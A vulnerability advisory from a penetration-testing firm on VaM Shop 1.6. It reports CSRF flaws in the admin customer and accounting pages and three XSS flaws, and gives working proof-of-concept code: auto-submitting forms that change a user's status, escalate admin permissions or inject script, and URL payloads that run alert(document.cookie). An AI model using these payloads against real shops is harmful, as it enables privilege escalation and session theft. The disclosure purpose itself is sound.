vam shop 1.6 – Multiple Vulnerabilities
Vulnerability ID: HTB22780 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_vam_shop.html Product: VaM Shop Vendor: Vamsoft ( http://vamshop.ru/ ) Vulnerable Version: 1.6 and Probably Prior Versions Vendor Notification: 28 December 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "admin/accounting.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available. Change user status: <form action="http://host/admin/customers.php?page=1&cID=USERID&action=statusconfirm" method="post" name="main"> <input type="hidden" name="status" value="0"> </form> <script> document.main.submit(); </script> Change user permissions: <form action="http://host/admin/accounting.php?cID=USERID&action=save" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="access[]" value="configuration"> <input type="hidden" name="access[]" value="modules"> <input type="hidden" name="access[]" value="customers"> <input type="hidden" name="access[]" value="start"> <input type="hidden" name="access[]" value="content_manager"> <input type="hidden" name="access[]" value="categories"> </form> <script> document.main.submit(); </script> XSS: Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/orders.php" script to properly sanitize user-supplied input in "status" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: http://host/admin/orders.php?selected_box=customers&status=2"><script>alert(document.cookie)</script> XSS: Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/configuration.php" script to properly sanitize user-supplied input in "STORE_NAME" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/configuration.php?gID=1&action=save" method="post" name="main"> <input type="hidden" name="STORE_NAME" value='My Shop"><script>alert(document.cookie)</script>'> <input type="hidden" name="STORE_OWNER" value="VaM Shop"> <input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com"> <input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc"> <input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected"> <input type="hidden" name="USE_DEFAULT_LANGUAGE_CURRENCY" value="false"> <input type="hidden" name="DISPLAY_CART" value="true"> <input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and"> <input type="hidden" name="STORE_NAME_ADDRESS" value="Address, Country"> <input type="hidden" name="SHOW_COUNTS" value="true"> <input type="hidden" name="CURRENT_TEMPLATE" value="vamshop"> </form> <script> document.main.submit(); </script> XSS: Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/customers.php" script to properly sanitize user-supplied input in "search" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: http://host/admin/customers.php?search=1"><script>alert(document.cookie)</script> |